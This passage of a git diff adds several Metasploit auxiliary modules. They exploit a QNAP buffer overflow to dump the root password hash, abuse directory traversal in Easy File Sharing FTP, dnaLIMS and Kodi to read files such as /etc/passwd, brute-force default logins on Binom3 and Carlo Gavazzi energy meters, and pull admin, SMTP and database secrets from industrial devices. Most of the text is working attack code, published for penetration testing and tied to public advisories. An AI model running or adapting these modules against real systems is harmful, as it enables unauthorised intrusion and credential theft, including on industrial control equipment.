#{username}/#{password}") + end + else + print_error("#{rhost} is not vulnerable: Not a NETGEAR device") + end + end + + # Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response + # This checks the response for that header. + def check + + res = send_request_cgi({'uri'=>'/'}) + if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out.') + end + + # Checks for the `WWW-Authenticate` header in the response + if res.headers["WWW-Authenticate"] + data = res.to_s + marker_one = "Basic realm=\"" + marker_two = "\"" + model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] + print_good("Router is a NETGEAR router (#{model})") + return Exploit::CheckCode::Detected + else + print_error('Router is not a NETGEAR router') + return Exploit::CheckCode::Safe + end + end +end diff --git a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb new file mode 100644 index 0000000000..597ea66365 --- /dev/null +++ b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure', + 'Description' => %q{ + This module exploits combined heap and stack buffer overflows for QNAP + NAS and NVR devices to dump the admin (root) shadow hash from memory via + an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace. + + A binary search is performed to find the correct offset for the BOFs. + Since the server forks, blind remote exploitation is possible, provided + the heap does not have ASLR. + }, + 'Author' => [ + 'bashis', # Vuln/PoC + 'wvu', # Module + 'Donald Knuth' # Algorithm + ], + 'References' => [ + ['URL', 'http://seclists.org/fulldisclosure/2017/Feb/2'], + ['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm'] + ], + 'DisclosureDate' => 'Jan 31 2017', + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Automatic', 'Description' => 'Automatic targeting'], + ['x86', 'Description' => 'x86 target', offset: 0x16b2], + ['ARM', 'Description' => 'ARM target', offset: 0x1562] + ], + 'DefaultAction' => 'Automatic', + 'DefaultOptions' => { + 'SSL' => true + } + )) + + register_options([ + Opt::RPORT(443), + OptInt.new('OFFSET_START', [true, 'Starting offset (backtrace)', 2000]), + OptInt.new('OFFSET_END', [true, 'Ending offset (no backtrace)', 5000]), + OptInt.new('RETRIES', [true, 'Retry count for the attack', 10]) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/cgi-bin/authLogin.cgi' + ) + + if res && res.code == 200 && (xml = res.get_xml_document) + info = [] + + %w{modelName version build patch}.each do |node| + info << xml.at("//#{node}").text + end + + @target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM') + vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected") + + if Gem::Version.new(info[1]) < Gem::Version.new('4.2.3') + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Detected + end + else + Exploit::CheckCode::Safe + end + end + + def run + if check == Exploit::CheckCode::Safe + print_error('Device does not appear to be a QNAP') + return + end + + admin_hash = nil + + (0..datastore['RETRIES']).each do |attempt| + vprint_status("Retry #{attempt} in progress") if attempt > 0 + break if (admin_hash = dump_hash) + end + + if admin_hash + print_good("Hopefully this is your hash: #{admin_hash}") + report_note( + host: rhost, + port: rport, + type: 'qnap.admin.hash', + data: admin_hash + ) + else + print_error('Looks like we didn\'t find the hash :(') + end + + vprint_status("#{@cnt} HTTP requests were sent during module run") + end + + def dump_hash + l = datastore['OFFSET_START'] + r = datastore['OFFSET_END'] + + start = Time.now + t = binsearch(l, r) + stop = Time.now + + time = stop - start + vprint_status("Binary search of #{l}-#{r} completed in #{time}s") + + if action.name == 'Automatic' + target = actions.find do |tgt| + tgt.name == @target + end + else + target = action + end + + return if t.nil? || @offset.nil? || target.nil? + + offset = @offset - target[:offset] + + find_hash(t, offset) + end + + def find_hash(t, offset) + admin_hash = nil + + # Off by one or two... + 2.times do + t += 1 + + if (res = send_request(t, [offset].pack('V'))) + if (backtrace = find_backtrace(res)) + token = backtrace[0].split[4] + end + end + + if token && token.start_with?('$1$') + admin_hash = token + addr = "0x#{offset.to_s(16)}" + vprint_status("Admin hash found at #{addr} with offset #{t}") + break + end + end + + admin_hash + end + + # Shamelessly stolen from Knuth + def binsearch(l, r) + return if l > r + + @m = ((l + r) / 2).floor + + res = send_request(@m) + + return if res.nil? + + if find_backtrace(res) + l = @m + 1 + else + r = @m - 1 + end + + binsearch(l, r) + + @m + end + + def send_request(m, ret = nil) + @cnt = @cnt.to_i + 1 + + payload = Rex::Text.encode_base64( + Rex::Text.rand_text(1) * m + + (ret ? ret : Rex::Text.rand_text(4)) + ) + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/cgi-bin/cgi.cgi', + #'vhost' => 'Q', + 'vars_get' => { + 'u' => 'admin', + 'p' => payload + } + ) + + res + end + + def find_backtrace(res) + res.headers.find do |name, val| + if name.include?('glibc detected') + @offset = val.split[-2].to_i(16) + end + end + end + +end diff --git a/modules/auxiliary/pdf/foxit/authbypass.rb b/modules/auxiliary/pdf/foxit/authbypass.rb index bcf0040fa6..aaf8bc43fa 100644 --- a/modules/auxiliary/pdf/foxit/authbypass.rb +++ b/modules/auxiliary/pdf/foxit/authbypass.rb @@ -33,8 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']), - OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']), - OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']), + OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']) ], self.class) end diff --git a/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb b/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb new file mode 100644 index 0000000000..f7bfed8ee1 --- /dev/null +++ b/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier. + This vulnerability allows an attacker to download arbitrary files from the server by crafting + a RETR command that includes file system traversal strings such as '../' + }, + 'Platform' => 'win', + 'Author' => + [ + 'Ahmed Elhady Mohamed' # @kingasmk ahmed.elhady.mohamed[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-6510'] + ], + 'DisclosureDate' => 'Mar 07 2017' + )) + + register_options( + [ + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) + ], self.class) + end + + def check_host(ip) + begin + connect + if /Easy File Sharing FTP Server/i === banner + return Exploit::CheckCode::Detected + end + ensure + disconnect + end + + Exploit::CheckCode::Safe + end + + def run_host(target_host) + begin + # Login anonymously and open the socket that we'll use for data retrieval. + connect_login + sock = data_connect + if sock.nil? + error_msg = 'data_connect failed; posssible invalid response' + print_status(error_msg) + elog(error_msg) + else + file_path = datastore['PATH'] + file = ::File.basename(file_path) + + # make RETR request and store server response message... + retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}" + res = send_cmd( ["RETR", retr_cmd]) + + # read the file data from the socket that we opened + # dont assume theres still a sock to read from. Per #7582 + if sock.nil? + error_msg = 'data_connect failed; posssible invalid response' + print_status(error_msg) + elog(error_msg) + return + else + # read the file data from the socket that we opened + response_data = sock.read(1024) + end + + unless response_data + print_error("#{file_path} not found") + return + end + + if response_data.length == 0 or ! (res =~ /^150/ ) + print_status("File (#{file_path})from #{peer} is empty...") + return + end + + # store file data to loot + loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path) + vprint_status("Data returned:\n") + vprint_line(response_data) + print_good("Stored #{file_path} to #{loot_file}") + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + ensure + data_disconnect + disconnect + end + end +end diff --git a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb new file mode 100644 index 0000000000..f07ad9bb96 --- /dev/null +++ b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb @@ -0,0 +1,208 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump', + 'Description' => %{ + This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer + management login portal(s), and attempts to identify valid credentials. + There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. + In addition to device config, 'root' user can also access password file. + Other users - admin, alg, user - can only access configuration file. + The module attempts to download configuration and password files depending on the login user credentials found. + }, + 'References' => + [ + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-031-01'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'VERBOSE' => true }) + ) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'root']), + OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'root']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_binom3? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Check if App is Binom3 + # + + def is_app_binom3? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Team-R Web') || res.body.include?('binom_ico') || res.body.include?('team-r'))) + + print_good("#{rhost}:#{rport} - Binom3 confirmed...") + + return true + else + print_error("#{rhost}:#{rport} - Application does not appear to be Binom3. Module will not continue.") + return false + end + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + print_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + + res = send_request_cgi( + { + 'uri' => '/~login', + 'method' => 'POST', + 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, + 'vars_post' => + { + 'login' => user, + 'password' => pass + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + + end + + if (res && res.code == 302 && res.get_cookies.include?('IDSESSION')) + + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + report_cred( + ip: rhost, + port: rport, + service_name: 'Binom3', + user: user, + password: pass + ) + + # Set Cookie + + get_cookie = res.get_cookies + cookie = get_cookie + ' NO-HELP=true; onlyRu=1' + + # Attempting to download config file + + config_uri = '~cfg_ask_xml?type=cfg' + + res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie }) + + if res && res.code == 200 + vprint_status('++++++++++++++++++++++++++++++++++++++') + vprint_status("#{rhost} - dumping configuration") + vprint_status('++++++++++++++++++++++++++++++++++++++') + + print_good("#{rhost}:#{rport} - Configuration file retrieved successfully!") + path = store_loot( + 'Binom3_config', + 'text/xml', + rhost, + res.body, + rport, + 'Binom3 device config' + ) + print_status("#{rhost}:#{rport} - Configuration file saved in: #{path}") + else + print_error("#{rhost}:#{rport} - Failed to retrieve configuration") + return + end + + # Attempt to dump password file + config_uri = '~cfg_ask_xml?type=passw' + res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie }) + + if res && res.code == 200 + vprint_status('++++++++++++++++++++++++++++++++++++++') + vprint_status("#{rhost} - dumping password file") + vprint_status('++++++++++++++++++++++++++++++++++++++') + + print_good("#{rhost}:#{rport} - Password file retrieved successfully!") + path = store_loot( + 'Binom3_passw', + 'text/xml', + rhost, + res.body, + rport, + 'Binom3 device config' + ) + print_status("#{rhost}:#{rport} - Password file saved in: #{path}") + else + return + end + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end +end diff --git a/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb b/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb new file mode 100644 index 0000000000..8ba8c83828 --- /dev/null +++ b/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb @@ -0,0 +1,81 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DnaLIMS Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in dnaLIMS. + Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible + to read a file outside the www directory. + }, + 'References' => + [ + ['CVE', '2017-6527'], + ['US-CERT-VU', '929263'], + ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/'] + ], + 'Author' => + [ + 'h00die ', # Discovery, PoC + 'flakey_biscuit ' # Discovery, PoC + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Mar 8 2017" + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']), + OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app + OptInt.new('DEPTH', [true, 'The traversal depth', 4]) + ], self.class) + + deregister_options('RHOST') + end + + + def run_host(ip) + file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}" + traverse = "../" * datastore['DEPTH'] + uri = normalize_uri(target_uri.path) + base = File.dirname("#{uri}/.") + + print_status("Requesting: #{file} - #{rhost}") + res = send_request_cgi({ + 'uri' => "#{base}/viewAppletFsa.cgi", + 'vars_get' => { 'secID' => "#{traverse}#{file}%00", + 'Action' => 'blast', + 'hidenav' => '1' + } + }) + + if not res + print_error("No response from server.") + return + end + + if res.code != 200 + print_error("Server returned a non-200 response (body will not be saved):") + print_line(res.to_s) + return + end + + vprint_good(res.body) + p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file)) + print_good("File saved as: #{p}") + end + +end + + diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb new file mode 100644 index 0000000000..96d9d7d8b1 --- /dev/null +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -0,0 +1,264 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database', + 'Description' => %{ + This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + }, + 'References' => + [ + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-012-03'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => false, + 'VERBOSE' => true + })) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']), + OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'admin']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_carlogavazzi? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + ewplantdb + end + + # + # What's the point of running this module if the target actually isn't Carlo Gavazzi box + # + + def is_app_carlogavazzi? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + good_response = ( + res && + res.code == 200 && + res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC') + ) + + if good_response + vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...") + return true + else + vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.") + return false + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + + # Set Cookie - Box is vuln to Session Fixation. Generating a random cookie for use. + randomvalue = Rex::Text.rand_text_alphanumeric(26) + cookie_value = 'PHPSESSID=' + "#{randomvalue}" + + begin + res = send_request_cgi( + { + 'uri' => '/login.php', + 'method' => 'POST', + 'headers' => { + 'Cookie' => cookie_value + }, + 'vars_post' => + { + 'username' => user, + 'password' => pass, + 'Entra' => 'Sign+In' # Also - 'Entra' => 'Entra' # Seen to vary in some models + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + good_response = ( + res && + res.code == 200 && + res.body.include?('Login in progress') || res.body.include?('Login in corso') && + res.body.match(/id="error" value="2"/) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php') + ) + + if good_response + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + # Extract firmware version + begin + res = send_request_cgi( + { + 'uri' => '/setupfirmware.php', + 'method' => 'GET', + 'headers' => { + 'Cookie' => cookie_value + } + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if res && res.code == 200 + if res.body.include?('Firmware Version') || res.body.include?('Versione Firmware') + fw_ver = res.body.match(/Ver. (.*)[$<]/)[1] + + if !fw_ver.nil? + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver}]", + user: user, + password: pass + ) + end + end + end + + # + # Extract SMTP config + # + + begin + res = send_request_cgi( + { + 'uri' => '/setupmail.php', + 'method' => 'GET', + 'headers' => { + 'Cookie' => cookie_value + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && res.code == 200 && res.body.include?('SMTP')) + dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1] + dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1] + dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1] + + if (!dirty_smtp_server.nil?) && (!dirty_smtp_user.nil?) && (!dirty_smtp_pass.nil?) + smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/) + smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) + smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) + + if (!smtp_server.nil?) && (!smtp_user.nil?) && (!smtp_pass.nil?) + print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}") + end + end + else + vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges") + end + return :next_user + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end + + # + # Dump EWplant.db database file - No authentication required + # + + def ewplantdb + begin + res = send_request_cgi( + { + 'uri' => '/cfg/EWplant.db', + 'method' => 'GET' + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if res && res.code == 200 + print_status("#{rhost}:#{rport} - dumping EWplant.db") + print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!") + loot_name = 'EWplant.db' + loot_type = 'SQLite_db/text' + loot_desc = 'Carlo Gavazzi EM - EWplant.db' + path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body , loot_desc) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + else + vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?") + return + end + end +end diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index 2482947127..9843f1749e 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -36,6 +36,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) fp = http_fingerprint(:response => res) print_status("#{ip}:#{rport} #{fp}") if fp + report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp) rescue ::Timeout::Error, ::Errno::EPIPE ensure disconnect diff --git a/modules/auxiliary/scanner/http/kodi_traversal.rb b/modules/auxiliary/scanner/http/kodi_traversal.rb new file mode 100644 index 0000000000..b3997770ca --- /dev/null +++ b/modules/auxiliary/scanner/http/kodi_traversal.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kodi 17.0 Local File Inclusion Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal flaw found in Kodi before 17.1. + }, + 'References' => + [ + ['CVE', '2017-5982'], + ], + 'Author' => + [ + 'Eric Flokstra', #Original + 'jvoisin' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Feb 12 2017" + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), + OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']), + OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) + ], self.class) + end + + + def run_host(ip) + base = normalize_uri(target_uri.path) + + peer = "#{ip}:#{rport}" + + print_status("Reading '#{datastore['FILE']}'") + + traverse = '../' * datastore['DEPTH'] + f = datastore['FILE'] + f = f[1, f.length] if f =~ /^\// + f = "image/image://" + Rex::Text.uri_encode(traverse + f, "hex-all") + + uri = normalize_uri(base, Rex::Text.uri_encode(f, "hex-all")) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + if res and res.code != 200 + print_error("Unable to read '#{datastore['FILE']}', possibily because:") + print_error("\t1. File does not exist.") + print_error("\t2. No permission.") + + elsif res and res.code == 200 + data = res.body.lstrip + fname = datastore['FILE'] + p = store_loot( + 'kodi', + 'application/octet-stream', + ip, + data, + fname + ) + + vprint_line(data) + print_good("#{fname} stored as '#{p}'") + + else + print_error('Fail to obtain file for some unknown reason') + end + end + +end diff --git a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb new file mode 100644 index 0000000000..41bcf70ae2 --- /dev/null +++ b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb @@ -0,0 +1,136 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Meteocontrol WEBlog Password Extractor', + 'Description' => %{ + This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal. + }, + 'References' => + [ + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'], + ['CVE', '2016-2296'], + ['CVE', '2016-2298'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE)) + + register_options( + [ + Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly. + ], self.class + ) + end + + def run_host(ip) + unless is_app_metweblog? + return + end + + do_extract + end + + # + # Check if App is Meteocontrol WEBlog + # + + def is_app_metweblog? + begin + res = send_request_cgi({ + 'uri' => '/html/en/index.html', + 'method' => 'GET' + }) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?("WEB'log"))) + print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...") + return true + else + print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.") + return false + end + end + + # + # Extract Administrator Password + # + + def do_extract() + print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...") + begin + res = send_request_cgi({ + 'uri' => '/html/en/confAccessProt.html', + 'method' => 'GET' + }) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return + end + + if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body=~ /Admin Monitoring/)) + get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/) + if get_admin_password[1] + admin_password = get_admin_password[1] + print_good("#{rhost}:#{rport} - Password is #{admin_password}") + report_cred( + ip: rhost, + port: rport, + service_name: 'Meteocontrol WEBlog Management Portal', + password: admin_password, + proof: res.body + ) + else + # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value. + print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.") + end + else + print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.") + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 